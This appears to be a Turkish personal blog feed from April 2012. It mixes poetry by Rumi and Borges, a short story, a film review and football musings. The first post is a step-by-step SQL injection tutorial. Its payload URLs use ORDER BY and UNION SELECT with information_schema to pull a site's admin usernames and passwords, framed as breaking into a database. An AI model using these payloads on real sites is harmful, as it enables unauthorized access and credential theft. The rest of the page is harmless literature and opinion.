21 Nisan 2012

Sql

Amaç arşivde kalsın...


Selamun aleyküm arkadaşlar.
Bi döküman yazayım diye düşündüm. Size baştan sona sql inj. mantığını anlatmayı planlıyorum arkadaşlar.karşımızda bir site var biz veritabanına sızıcaz bu konuda kararlıyız başlayalım o zaman
http://www.sql.com/news.php?id=7 -----> sitemiz bu ik olarak id değerimizin sonuna ' işareti koyarak sql sorgularını çalıştırıp çalıştırmadığını anlıyoruz. Eğerki hata verirse sql sorgularını çalıştırabiliyor demektir ve bizde bu sql sorgularıyla veritabanından bilgi çekebiliriz. 
Hatamızı aldık nasıl olabilir bu hatalar ?
Sayfadaki veriler gelmeyebilir.
Sayfada anlamsız garip warning mysql include gibi şeyler yazar. Yani sql hataları görünür.
Hatamızıda aldığımıza göre tam gaz devam sırada kolon sayısını öğrenmekvar ve order+by+1 komutunu id değerimizin sonuna yazıyoruz:
http://www.sql.com/news.php?id=7+order+by+1 ---> yazdık ve sayfadaki hatalar yeniden geldi ? Hönk nasıl lan gitmiyomuydu böyle 

bazı sitelerde karşınıza çıkar arkadaşlar böyle olduğu zamanlar sorgumuzu şu şekilde devam ettireceğiz:
http://www.sql.com/news.php?id=7+order+by+1-- sona koyduğum 2 tane tire dikkatinizi çeksin bu sql sorgularında kullanılır. yazdık ve ekran geri geldi tertemiz ilk günkü gibi şimdi artırıyorum kolon sayısını
http://www.sql.com/news.php?id=7+order+by+10-- hata var
http://www.sql.com/news.php?id=7+order+by+9-- hata var
http://www.sql.com/news.php?id=7+order+by+8-- hata var
http://www.sql.com/news.php?id=7+order+by+7-- sayfa aynen geldi 
demekki kolon sayımız 7 ve bunu farklı bir sql sorgusu şeklinde tekrar yazalım:
http://www.sql.com/news.php?id=7+union+select+1,2,3,4,5,6,7-- bazılarıda 0dan başlıyor o zaman şöyle oluyor söyleyim kafanız kaırşmasın:
http://www.sql.com/news.php?id=7+union+select+0,1,2,3,4,5,6--
her ikiside olur arkadaşlar yazdık sayfa geldi -- yine koyduk bazı siteler o olmadan sonuç vermiyor çünkü şimdi devam ekran yine aynen geldi o zaman bi - daha kullanacağız:
http://www.sql.com/news.php?id=-7+union+select+1,2,3,4,5,6,7-- dikkatli bakın id değerinin önüne - koydum ki id değerindeki veriler ekrandan gitsin bize yansıyan kolonları göstersin ve öylede oldu 3 - 5 - 7 bu kolonlar yansıdı ( her sitede farklı olur neden bende bunlar çıkmadı demeyin ) nasıl anlarız diye endişelenmenize gerek yok yazdığınız zaman onlar zaten kendini belli eder. şimdi bize tablo isimleri lazım sallamasyona hiç gerek yok mysql yapıyoruz sonuçta ( neden gerek yok : mysql 5 sistemlerde information_schema diye bir database vardır bu databasenin içinde datalar hariç tüm sql veritabanı kayıtlıdır tablolar ve kolonlar gibi yani ) information_schema dbsindeki tables tablosundan table_name kolonunu çekicem ve bana tüm tablo isimlerini vericek:
http://www.sql.com/news.php?id=-7+union+select+1,2,group_concat(table_name),4,5,6, 7+from+information_schema.tables--
ama bi gariplik var olur tabi çünkü tüm tabloları göster dediğimizde information_schema ve diğer databaselerdeki tablolarıda gösterir bize lazım olan sadece kendi databasemizdeki tablolar bu yüzden sorguyu şu şekilde değiştiriyorum:
http://www.sql.com/news.php?id=-7+union+select+1,2,group_concat(table_name),4,5,6, 7+from+information_schema.tables[color=#FFFF00] where table_schema=database()--[/color]
normalde burada hex kodlarıylada databasemizi belirtiriz ama ona henüz gerek yok böyle yazsanızda olur. evet işte şimdi oldu bakın 3 kolonunun olduğu yerde diyorki adminuser,news,product,images,music bize burada adminuser tablosu lazım o zaman adminuser tablosundan veri çekeceğiz ama nasıl çekeceğiz kolonları bilmiyoruz ? cevap: kolonlarıda information_schema'dan çekicez bu sefer sorgum şu:
http://www.sql.com/news.php?id=-7+union+select+1,2,group_concat(column_name),4,5,6 ,7+from+information_schema.columnswhere table_schema=database() and table_name=0x61646d696e75736572--
burada information_schema databasesindeki columns tablosundan column_name isimli kolondaki datayı çektim ama tüm kolonlar gelmemesi için biraz sınırlandırdım bu sınırlandırmalar where komutundan sonra başlıyor ilk olaraktable_schema=database() bu diyorki databasemizdeki kolonları çek diğerlerini değil and table_name=0x61646d696e75736572buda diyorki databasemizdekileri çek ve tablo ismi adminuser olan tablodaki kolonları çek 61646d696e75736572 bu yazılar hexkodlarıdır. hex encoder ve decoderlerde decode edince adminuser yazısını görürsünüz. hex kodları kullandığımız zaman kodların başına 0x koyarız sorguyu baştan sona anlattım 
şimdi devam username,password,email falan geldi username ve password'u alalım
sorguyu dahada basitleştiriyoruz artık:
http://www.sql.com/news.php?id=-7+union+select+1,2,group_concat(username,0x3a,pass word),4,5,6,7+from+adminuser--
bu sorguyuda anlatmama gerek yoktur diye düşünüyoruz ama group_concat'ın içi hakkında biraz bilgi vereyim. group_concat istediğimiz verilerin tümünü çekmemizi sağlar yani ben username'yi group concatsız yazsam sadece bir tane gelir ama group_concat parantezinin içine alsam tüm veriler gelir. aynı zamanda virgül koyup farklı kolonlardaki bilgileride çekebiliriz karışmaması açısından bende aralarıda : ( ikinokta ) koydum 3a hex dilinde : demektir. 0x zaten hex kodlarının başında yer alıyordu gelen verilere bakalım:
admin:qwerty,sqladmin:passql
2 tane adminimiz varmış bunu virgülden anladım çünkü sorguyu şöyle verdim:
önce adminin usernameyi ver araya : koy şifreyi ver.
sonrada virgül koyarak diğerlerini bu şekilde sıralamaya devam eder 

Arkadaşlar dökümanı gerçekten tam anlayabileceğiniz şekilde sıkmadan anlatmaya çaıştım Lisan-ı Sürç olduysa affola






19 Nisan 2012

18 Nisan 2012

Halı Sahada Taktik Savaşları

Her hafta oynadığımız Halı Saha maçlarımızdan edindiğim tecrübeye göre yazıyorum bu yazıyı :D Hemen hemen her takım maça 3-2-1 taktiği ile çıkıyor. Tabi ki bu taktik ilk 5 dakika için geçerlidir. Daha sonra kimin nerede oynadığını bulmak 5 bilinmeyenli denklem gibidir. Hele birde takımında agresif bir karakter varsa bittin. Bunun için şu taktikleri çok iyi uygulamalısın;

 Eğer maç iddialı ise takımınızı bulabildiğiniz en seri,  çok koşan ve top tutabilen adamlardan oluşturmalı ve sağlam bir kaleci bulmalısınız. En seri adamınızı tek forvet oynatmalı ve defansın göbeğine de yine sağlam bir oyuncu koymalısınız. koşamayan oyuncular sağ ve sol bek oynarken orta saha top tutmayı bilen ve oyunu okuyabilen oyunculardan oluşmalıdır. Kalecinin iyi olması maçı kazanmanın olmazsa olmaz şartıdır. Orta sahadan gol yiyen bir kaleci ile maç kazanmanız imkansız. Mümkünse de defansa devasa bir yaratık bulup koymanız yararınıza olacaktır.
Şu kadarı var ki olması gerekenler bu olsa da güçlü bir rakipte karşınıza boş gelmiyor. Burada strateji önemli bir yer tutar. Genellikle defansın sağına yada soluna saklanan en zayıf halkayı bulup üzerine oynamak faydalı bir yoldur. Bunun yanında çok koşacaksın birader, rakip senden daha çok koşarsa kalende Volkan olsa da yenilgi kaderindir. Bu göbekli insanlarla nasıl koşacağım sorusununda cevabı var. Eğer takım göbekli ve az koşuyorsa kesinlikle ikili mücadeleleri almalı ve isabetli paslar atmalıdır, takımın saha içerisindeki dağılımı çok  iyi sağlanmalıdır. Baktınız yine olmadı sağlam defans da tatlı sert oynayarak rakibi yıldırmalıdır. Burada dikkat abartıya kaçarsanız maç yarıda kalabilir.

Sonuç olarak oraya koş Shed510, buraya koş Shed510 :D Kazanmak istiyorsan koşacan birader...



12 Nisan 2012

Farid Farjad

El Cewad kardeşim sayesinde farkına vardım. Adam aslen İranlı ama ABD de yaşıyormuş. Kesinlikle müzik konusunda deha olduğuna inanmaya başladım. Belkide şu anda etkilendiğim için abartıyor olabilirim ama yine de mükemmel...







4 Nisan 2012

Entelköy Efeköy'e Karşı

Entelköy Efeköy'e Karşı


Son zamanlarda izlediğim en anlamlı ve en eğlenceli film diyebilirim. Gereksinimlerimiz için Hes leri savunan ben bile doğayı tüketmeden beslenmenin de mümkün olabileceğini düşünmeye başladım. Oyuncu kalitesi ve oyunculuk bakımından yetersiz bulsam da işlenen konu bakımından çuk oturmuş. Bir köy yaşantısı ancak bu kadar özendirilebilir, bu kadar eğlenceli anlatılabilir. Vurdulu kırdılı, bol bilgisayar efektli filmlerden sıkıldıysanız ve kısa bir dinginliğe ihtiyacınız varsa tam size göre...  



3 Nisan 2012

Yalnızlık

Yalnızlık benim eski sevgilim
Yalnızlık benim en vefalı yarim
Ben onu kimler için terk ettim
O beni bırakmıyor...

Yalnızlıktan korkmayan insan başkalarının yalnızlığıyla dertlenir mi demeyin. Nedendir bilmiyorum dertlenir oldum bu aralar. Birilerine yardımcı olmazsam yaşamanın anlamsız olacağı düşüncesine saplandım kaldım. Beynimin demir parmaklıkları arasında bu düşüncelerle boğuşurken hatırladım yalnızlığın benim için yaratılmadığını. Belki de topyekun mücadelenin zamanı olmalı yalnızlıkla... Yada yalnızlığı çok güzel anlatan Candan ERÇETİN e kulak vermeli... 

Yalnızlığa elbet alışır bedenim
Yalnızlıkla belkide başaçıkabilirim....    


Vaktim Kalmadı

Vaktim Kalmadı

Sokaktayım. İnsanlar telaşlı hepsi bir yerlere koşturuyorlar. Sabahın erken saatleri. Gün yeni ağarıyor. Gecenin sessizliği ve karanlığı veda ederken, yerini gün doğumuna yavaş yavaş terk ediyor. O bu kadar dingin iken, insanlar sanki buna itirazla karşı gelerek, yoğun bir hareket halindeler. 
Durağa yürüyorum, sakinim, yürürken tek yaptığım çevremi izlemek. Durağa vardığımda, biraz sıkıntı var içimde, birşeyler kopup gidiyor sanki içimden. Birden dalıp gidiyorum çok eskilere. Öğrenciyken de okula bu saatlerde, farklı bir şehirde, farklı bir durakta farklı hayallerle beklerdim. O zamanlar bu kadar sakin değildim, içimde ise sıkıntı yerine amaçlarım, umutlarım vardı ve çevremle bu kadar ilgili değildim. Şimdi yaşım belki iki kat artmış ve ben kendimle öyle sakin ve çevremle o kadar ilgiliyim ki... İnsanlar değil mi yıllardır beni sürükleyen oradan oraya, tüm umutlarıma alalacele dur dedirten. Otobüs durağa yaklaşıyor. Sırayla ilerliyoruz, ancak öyle bir yoğunluk var ki, sanki sıralar aşılmak isteniyor, hatta benim sıramı da iki üç kişi hızla geçiyor sormadan. Umursamıyorum. Acelem yok benim. Biliyorum ki zamanı aşamam zaten sıralarla. Yetişecek bir işim, bir yerim de yok zaten. Otobüse biniyorum, oturacak yer var mı diye göz ucuyla bakarken, ayakta duracak halimin olmadığını hissediyorum. Sanki bacaklarım taşımıyor vücudumu. Arkada bir cam kenarına yerleşiyorum, dışarıda hava çok güzel, bahar gününden bile sıcak, sanki yaz sıcaklığını yaşatacak belli. Bir süre sonra otobüs hareket ediyor. 

Birden insanlar takılıyor gözüme. Tek tek inceliyorum. Hepsinin yüzünde aynı ifade. Karanlık ve bezmiş. Gözler gülmüyor, yürekler yok sanki. Herkes çok düşünceli. Kim bilir belki de çoğu yaşamaktan zevk almıyor. Evet yaşamda keyif veren ne kaldı ki? Dostluklar mı? Aşklar mı? Eminim çoğu yaşayıp gidiyorlar, duygulardan uzak. 
Şu karşıdaki teyze, yüzündeki kalın çizgiler tükenen hayatının çizgileri. Başörtüsünü acele bağlamış belli. Sanki ne bulduysa giymiş üzerine, önemsememiş hiçbir şeyini. Krem renkli eski bir pardesü de onunla uyum içinde. Kalın gözlüklerinden dünyayı daha mı net görüyor acaba. Bir zamanlar güzel olduğunu sandığım vücudu artık yıkılacak gibi. Yitip giden hayatını, onu unutan evlatlarını, özlediği torunlarını, belki de yalnızlığını düşünüyor, canı acıyor kim bilir? 

Ya şu kenardaki adam, ne kadar da çatılmış kaşları. İri cüssesi, çok tamir görmüş pantolonu ve eski gri ceketi ile yoksulluğunun isyanı içinde. Bakmakta zorlandığı yuvasını, onu anlamayan karısını ve çocuklarını ve bomboş olan hayatını öylece çatılmış kaşlarına yerleştirmiş adeta. Kim bilir en son ne zaman duydu sevgi sözcüklerini... 

Tam yanımda ayakta dikilen genç kız lise öğrencisi olmalı. Saçlarını dağıtmış, öğrenci olmak sanki onun işi değil. Endamı, alınmış ince kaşları, uzun tırnakları ve ağzındaki sakızı ile pek de umurunda değil hayat belli. Kumral saçlarının ağaracağı günlerin hesabını yapmaktan uzak, mini eteği,lacivert ceketi, birkaç düğmesini açtığı beyaz gömleğiyle yaşının ötesinde görünüm içinde. Evde devamlı içen babasını, ezilen, dövülen, devamlı ağlayan annesini düşünüp, ben kurtulacağım hesapları içinde gibi... sol tarafta ayaktaki genç ise üniversite öğrencisi olmalı. Uzun boyu ile çok temiz bir görünümün altında nasıl da hayata şüpheyle baktığı belli. Kot pantolonu ve lacivert montu onun gençliğine nasıl da yakışmış. Kararsızlık var gözlerinde. Yarınlarına çok da emin gözlerle bakamıyor sanki, mezun olduğunda ne için okuduğunu anlayamıyacak gibi. Belki arkadaşları var yıllarca okuyup da hala iş bulamayan. Oysa emekli babası onun okuması için en emekliliğinden sonra gece bekçiliği yapmamış mıydı bir fabrikada? Bu bir borç değil miydi? Ne ağır bir yüktü bu. 

Tam ortada on dört-on beş yaşlarında bir kız çocuğu gözlerime takıldı. Nasıl da zayıftı. Mavi triko ceketi, eski bol eteği ve simsiyah saçlarıyla öyle yorulmuş bir hali vardı ki böylesi genç yaşta. Kömür gözleri ve kara saçları doğunun havasını hala soluyordu. Göç havasıydı bu. Umutlarını yüreklerine koyup İstanbul a göç eden insanların havası. Evine iki lokmalık para yardımı için belki bir fabrika, belki bir konfeksiyon atölyesinde öldürüyor umutlarını. Aldığı üç beş kuruşu ve gece mesailerini annesinin eline sayarken ne üzerine, ne başına, ne de süsüne kalmıyor. O da ilerde zengin bir kocanın umudu ile bu gün mutsuz yaşıyor gibi. Hayallere öyle dalmış ki... Yaşıtları gibi değil yüreği, erkenden sırtlanmış hayatı taşımış gidiyor işte. Geride altı kardeşi, daracık iki göz oda olan evlerinde yaşam hiç de güzel olmasa gerek. 
Çok yoruldum düşünmekten. Otobüs ışıklarda durduğunda yanımıza nefis kırmızı bir araba yaklaşıyor. Renk gözümü alıyor. Hani arabalara hep merakım olmuştur ya şöyle bir bakıyorum. İçindeki beyefendiye gözüm ilişiyor. Ne kadar hoş ve vakur. Hafif kırlaşmış saçları, tıraşlı kumral hafif dalgalı saçları ve beyaz gömleği ile belli iyi yaşıyor hayatı. Biran göz göze geliyoruz. Ve birkaç saniyede gözlerindeki mutsuzluğu okuyorum. O da mı mutsuz diye düşünüyorum. Oysaki belli her istediğine ulaşmış bir hali var. Kim bilir belki bir evladı vardı ve amansız bir hastalıkta yitirdi. Parasının gücü yetmedi belki de. Karısı ve çevresindeki insanlar parasına mı hürmet ediyorlardı acaba? Evet o belki zirve adam olmuş ama yüreğini dağın eteklerinde unutmuş. Zirveye çıkarken merhametini, sevdasını, dostlarını bırakmak zorunda kalmış şimdi belki zirvede ve o kadar emin bir hali var ki, onu hiçbir şey sarsamaz sanırken, sevgiyi özlemiş, dostlarını, insanları özlemiş. 

Ama nafile şimdi gözlerine yerleşmiş hüzün. Hareket ederken onun için üzülüyorum. 

Gözlerimi kapatıyorum. Kimseyi düşünmek, üzülmek istemiyorum artık. İnsanları tek tek dinlemeye vaktim olsaydı dinlerdi yüreğim. Ama kimsenin bana vakti yok, benim artık kimseye vaktim yok. Hayatları adına yok ettikleri ya da mecbur oldukları yaşamlarını sürdürmek zorundalar. Biraz içim geçiyor. Duraklar, ışıklar ve son durak. İniyorum. Kalabalığı delmek için bir gayretim yok. Gelen çarpıyor, giden çarpıyor. Ne kadar da kalabalık, bense öylesine bir noktayım adeta. Bir yerler bulup oturmak istiyorum. Bir park var az ilerde, görüyorum ve adımlarımı hızlandırıp tam denizin kenarında bir banka çöküyorum. Gözlerim çok uzaklara kayıyor. Denizin üzerindeki martılar, özgürlüğün tadını çıkartırcasına bir denize dokunup, bir gökyüzüne süzülüyorlar. Arada gelen vapur sesleri, o an içim bir an öylesine boşalıyor ki, bir iki damla gözyaşı yeter mi diye düşünüyorum. Hayır ağlamak istemiyorum. Bağırsam rahatlar mıyım? OLMAZ! Hayatın sonuna yaklaştım. İsyan yok. Sabırla teslim olmalıyım. Bu dünyaya gülerek veda edeceğim. Anneme, babama, tüm sevdiklerime ben hep 'sevdim, ama yenildim' diyeceğim. Hayatımız zaten bir pamuk ipliği değil mi? Annemi düşünüyorum bir an, beni sevdiğini biliyorum ama neden ben hiç hissedemedim. Ya babam, neden hep karşı oldu bana, neden benden yana olmadı? Dostlarım benim nerede olduğumu biliyorlar mı? Ya sevgilim, eşim o beni çok sevdiğini söyledi durdu, ya benden alıp götürdükleri. Çocuklarım, onlar benim her şeyim. Onlar için her şeyin en güzelini diliyorum. Dün doktorun yanından ayrılırken artık her şeyin sonuna geldiğimi nasıl da anladım. Oysa ki zaten bir son olacaktı, ama neden bu acı haber? Bir süre ayrılacağım bu diyarlardan, veda ederken yüreğimde, bıraktığım insanlar için hep acı olacak. İçim sızlıyor. Biraz ağrılarım var, ama hiç umurumda değil. Doktor, 'neden bu kadar geciktiniz?' diye sorarken neye geciktiğimi anlayamadım. Hatta herkes, her şeye gecikmiyor mu sanki? Bir ben miyim geciken? Hayatlar hep gecikmeler sonucu oluşan enkazlarla dolu değil mi? Ben diğer insanlardan biraz daha şanslı olduğumu düşünüyorum. Ne zirveye tırmanırken yüreğimi unuttum eteklerde, ne beni unutan evlatlarım oldu, ne evde aç bekleyen çocuklarım, ne de unuttuğum dostlarım. Gözlerimdeki anlamı hiç yitirmedim. Zamanım kalmasa da acelem yok dedim ya... Sadece boşa geçirdiğim geçmiş zamanlara eziliyor iradem. Görevlerim yerine getirmediğim görevlerim, hatta insanlara faydalı olamadığımı düşündükçe, 'keşke son bir yaşam hakkım olsaydı' diye düşünüyorum. 
Biraz üşüyorum. Yanıma küçük bir simitçi çocuk yaklaşıyor. Elleri soğuktan çatlamış, ya da hayatın çetin ve sert yanlarını çok ellemiş. Ondan bir simit alıyorum. Sonra sepetindeki tüm simitleri alıyorum. Biraz daha fazla sevinsin diye. Küçücük yaşının taşıdığı kocaman yürekle, gözlerinde bana yardım edin edasını okuyorum. Ama nafile, kendime bile vaktim kalmadı ki çocuk...  

Özlem CAN

Duydum ki Bizi Bırakmaya Azmediyorsun Etme





Duydum ki bizi bırakmaya azmediyorsun, etme.
Başka bir yar, başka bir dosta meylediyorsun, etme.


Sen yadeller dünyasında ne arıyorsun yabancı?
Hangi hasta gönüllüyü kastediyorsun, etme.


Çalma bizi, bizden bizi, gitme o ellere doğru.
Çalınmış başkalarına nazar ediyorsun, etme.


Ey ay, felek harab olmuş, altüst olmuş senin için...
Bizi öyle harab, öyle altüst ediyorsun, etme.


Ey, makamı var ve yokun üzerinde olan kişi,
Sen varlık sahasını öyle terk ediyorsun, etme.


Sen yüz çevirecek olsan, ay kapkara olur gamdan.
Ayın da evini yıkmayı kastediyorsun, etme.


Bizim dudağımız kurur sen kuruyacak olsan.
Gözlerimizi öyle yaş dolu ediyorsun, etme.


Aşıklarla başa çıkacak gücün yoksa eğer;
Aşka öyleyse ne diye hayret ediyorsun, etme.


Ey, cennetin cehennemin elinde oldugu kişi,
Bize cenneti öyle cehennem ediyorsun, etme.


Şekerliğinin içinde zehir zarar vermez bize,
O zehiri o şekerle sen bir ediyorsun, etme.


Bizi sevindiriyorsun, huzurumuz kaçar öyle.
Huzurumu bozuyorsun, sen mahvediyorsun, etme.


Harama bulaşan gözüm, güzelliğinin hırsızı.
Ey hırsızlığa da değen hırsızlık ediyorsun, etme.


İsyan et ey arkadaşım, söz söyleyecek an değil.
Aşkın baygınlığıyla ne meşk ediyorsun, etme
Mevlana Celaleddin Rumi

1 Nisan 2012

AŞKIN GÜCÜ

AŞKIN GÜCÜ
Buradaki Padişah : Ruhu
Cariye : Nefsi
Cariyeyi tedavi edemeyen hekimler : Sahte Şeyhleri
Cariyeyi tedavi eden hekim ise : Mürşid-i Kamili
Kuyumcu ise : İnsandaki heva ve heves (boş ve lüzumsuz arzular) gibi şeyleri temsil ediyor..




Zamanın birinde bir padişah vardı. Padişah bir gün adamlarıyla ava giderken yolda güzel bir cariye görüp ona aşık oldu.
Onu alıp sarayına getirdi. Fakat bir müddet sonra o güzel cariye hastalandı. Günden güne eriyip tükenmeye başladı. Memleketin en iyi hekimleri cariyenin hastalığına bir çare bulamadılar. Padişah bunu görünce çok üzüldü, günlerce çareler aradı, sağa koştu, sola gitti olmadı. Sonunda bir mescide gidip el açarak dua etti, secdeye kapanarak ağladı. Cariyenin iyileşmesi için yalvardı. Bu sırada uykuya daldı. Rüyasında bir pir gördü; pir ona :
- "Artık üzülme duan kabul oldu. Yarın şehrinize bir yabancı gelecek o bizdendir. Onun yapacağı tedaviyle cariyen iyileşecek." dedi.
Sabah olup güneş doğunca padişah pencereye koşup rüyasında gördüğü piri beklemeye başladı. Uzaktan onun geldiğini görünce kendisi sarayın kapısına koşarak kapıyı açıp piri içeriye aldı. Konuşup görüştükten sonra, padişah pire hastanın hastalığını anlattı. Daha sonra onu hastanın yanına götürdüler...
Hekim önce hastanın yüzüne baktı sonra nabzını saydı. Hastalığın belirtilerini sorup sebeplerini dinledi...
- "Diğer hekimlerin tedavileri iyileştirmek yerine büsbütün harap etmiş hastayı." dedi. Sonra şöyle devam etti.
- "Onların içerden haberleri yok, onun için de hepsinin aklı fikri işin dış yüzünde." dedi.
Hekim hastalığın ne olduğunu anlamıştı, fakat bunu padişaha söylemedi.
Hastanın halinden inlemesinden onun gönül hastası olduğunu hemencecik anlayıverdi. Çünkü hiçbir hastalık gönül derdi gibi değildir.
Hekim durumu anlayınca : "Padişahım, dedi. Herkesi uzaklaştır köşede bucakta kimseler kalmasın ki ben hastayla baş başa kalıp rahat rahat çalışayım, hastanın hastalığını anlayıp ona göre bir tedbir düşüneyim."
Padişah emretti oda boşaltıldı, hastayla hekimden başka kimse kalmadı.
Hekim yaklaşıp hastanın başucuna geldi yumuşak ve tatlı bir sesle :
- "Memleketin neresi, nerelisin? Bana söyle , çünkü her memleketin halkının ilacı başka başkadır. Memleketinde yakın akrabandan kimler var, kime yakınsın? diye sordu.
Hekim elini kızın nabzına koymuştu. Hem soruyor hem de nabzını kontrol ediyordu.
Kız yavaş yavaş hekime bütün olanları anlatıyor, başından ne geçtiyse söylüyordu.
Hekim kızın nabzını tutmuştu ve :
- "Bu kız kimin adını söylediğinde eğer heyecanlanır, nabzı hızlanırsa demekki sevdiği, uğruna hasta olup yataklara düşerek mum gibi eridiği odur." diye düşünüyordu.
Kız önce doğup büyüdüğü memleketi ve oradaki dostlarını sayıp döktü. Fakat nabzında bir değişiklik olmadı.
Hekim : "Doğduğun yerlerden ayrılınca hangi memlekete gittin?" diye sordu.
Bunun üzerine kız bir şehir ismi söyleyip geçti ama ne yüzünün rengi ne de nabzının atışı değişti. Daha sonra sırasıyla götürüldüğü yerleri, şehirleri , görüşüp tanıştığı insanları birer birer sayıp döktü. Lakin halinde bir değişiklik olmadı. Ta ki hekim Semerkant şehrini soruncaya kadar...
Semerkant'ın adı geçince kızın nabzı hızlandı, yüzü ve yanakları kızardı. Çünkü o Semerkant'ta bir kuyuncuya aşıktı ve ondan ayrılmış olmanın ızdırabıyla yanıp tutuşuyordu.
Bunu öğrenen hekim kuyumcunun Semerkant'ın hangi semtinde ve hangi mahallesinde olduğunu sorup öğrendi. Sonra kıza :
- "Ben senin hastalığını ve bu derdin çaresinin ne olduğunu çok iyi anladım. Fakat sen bu bana anlattıklarını sakin başkasına söyleme, hele hele padişaha hiç anlatma..." diyerek tembih etti.
Hastanın yanından ayrılan hekim doğruca padişaha gelip durumu anlattı : "Bu kızcağızın iyileşmesi için o kuyumcuyu getirmekten başka çare yok." dedi.
Bunu duyan padişah hekimin nasihatini canu gönülden kabul etti. Hiç zaman geçirmeden kuyumcuyu davet etmek üzere bir elçi gönderdi... Elçi Semerkand'a varınca doğruca gidip kuyumcuyu buldu. Padişahın gönderdiği hediyeleri takdim eti ve padişahın onu davet ettiğini, eğer gelirse padişahın en yakın adamlarından olacağını çok büyük ihsanlara ve iltifatlara mazhar olacağını söyleyince, kuyumcu zaman kaybetmeden yola koyulup padişahın sarayına en kısa zamanda ulaştı.
Saraya gelen kuyumcuyu hekim alıp padişahın huzuruna götürdü. Padişah kuyumcuya iltifatlar yağdırıp ihsanlarda bulundu. Hazinesini ona teslim etti :
Hekim bunun üzerine : "Ey padişah o cariyeyi bu kuyumcuya ver ki hastalıktan tamamen kurtulup iyileşsin." dedi...
Padişah o ay yüzlü güzeli kendi eliyle kuyumcuya verdi, altı ay murat alıp murat verdiler. Böylece kız tamamen iyileşmiş oldu.
Ondan sonra hekim kuyumcuya bir ilaç hazırladı. İlacı içen kuyumcu hastalanarak günden güne çirkinleşip erimeye başladı. Eski güzelliğinden eser kalmadı.
Kuyumcu böyle günden güne eriyip çirkinleşince kızın gönlü de ondan soğudu, aşkı günden güne azaldı. Bir müddet sonra kuyumcu öldü. Ölünce de kızın aşkı tamamen sona erdi. Böylece o güzeller güzeli o aşktan ve hastalıktan arınıp tertemiz oldu...

Bu cihan bir dağdır, bizim yaptıklarımız ise ses, seslerin aksi yine dönüp bize gelir



MEVLANA

ANLAR

ANLAR

Mükemmel bir şiir... Hayatta nefes almak için okunmalı bence...

ANLAR  
Eğer, yeniden başlayabilseydim yaşamaya,  
İkincisinde, daha çok hata yapardım.  
Kusursuz olmaya çalışmaz, sırtüstü yatardım.  
Neşeli olurdum, ilkinde olmadığım kadar,  
Çok az şeyi  
Ciddiyetle yapardım.  
Temizlik sorun bile olmazdı asla.  
Daha çok riske girerdim.  
Seyahat ederdim daha fazla.  
Daha çok güneş doğuşu izler,  
Daha çok dağa tırmanır, daha çok nehirde yüzerdim.  
Görmediğim bir çok yere giderdim.  
Dondurma yerdim doyasıya ve daha az bezelye.  
Gerçek sorunlarım olurdu hayali olanların yerine.  
Yaşamın her anını gerçek ve verimli kılan insanlardandım ben.  
Yeniden başlayabilseydim eğer, yalnız mutlu anlarım olurdu.  
Farkında mısınız bilmem. Yaşam budur zaten.  
Anlar, sadece anlar. Siz de anı yaşayın.  
Hiçbir yere yanında termometre, su, şemsiye ve paraşüt almadan,  
Gitmeyen insanlardandım ben.  
Yeniden başlayabilseydim eğer, hiçbir şey taşımazdım.  
Eğer yeniden başlayabilseydim,  
İlkbaharda pabuçlarımı fırlatır atardım.  
Ve sonbahar bitene kadar yürürdüm çıplak ayaklarla.  
Bilinmeyen yollar keşfeder, güneşin tadına varır,  
Çocuklarla oynardım, bir şansım olsaydı eğer.  
Ama işte 85'indeyim ve biliyorum...  
ÖLÜYORUM...  
       
Jorge Luis BORGES